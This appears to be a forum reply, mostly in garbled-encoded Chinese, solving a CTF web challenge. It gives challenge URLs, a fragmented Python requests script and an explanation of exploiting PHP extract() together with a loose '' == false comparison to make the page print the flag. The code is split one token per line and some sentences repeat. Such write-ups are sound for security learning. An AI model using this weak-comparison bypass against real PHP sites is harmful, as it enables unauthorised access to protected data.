http://d45462f4-ee6c-40fa-9377-c3062e480314.node.pediy.com:81/extract.php/?aurora&flag
可以參考我寫的,,使用post請(qǐng)求
import
requests
url
=
"http://cbc416fc-215d-4a97-be1b-d3116b3885f2.node.pediy.com:81/extract.php"
# 不覆蓋 $flag,,讓其使用默認(rèn)值(由 extract_flag.php 提供)
params
{
"aurora"
: ""
# 占個(gè)位,,先觸發(fā) isset
}
# 關(guān)鍵,!發(fā)送 POST 內(nèi)容:內(nèi)容必須等于 flag 文件的內(nèi)容
# 我們先猜測(cè)真實(shí) flag 內(nèi)容(不行就爆破)
response
requests.post(url, params
params, data
"ctf{YOU_4re_DO1ng_GREAT!}"
, verify
False
)
print
(
"響應(yīng)內(nèi)容:"
(response.text)
不要覆蓋$flag變量,$flag在extract_flag.php中定義了,是本題的答案,是一個(gè)字符串,所以沒有這個(gè)文件,所以file_get_contents(flag),false,aurora,if(flag)就讀取不到文件,返回false,aurora這個(gè)變量傳一個(gè)空值就行,if (flag)就讀取不到文件,返回false,aurora這個(gè)變量傳一個(gè)空值就行,if(aurora == content)這一步比較就是if("" == false),由于是弱類型比較,所以為true,就把\flag輸出了,只需要傳aurora就行了,,http://xxxxxxxxx.node.pediy.com:81/extract.php/?aurora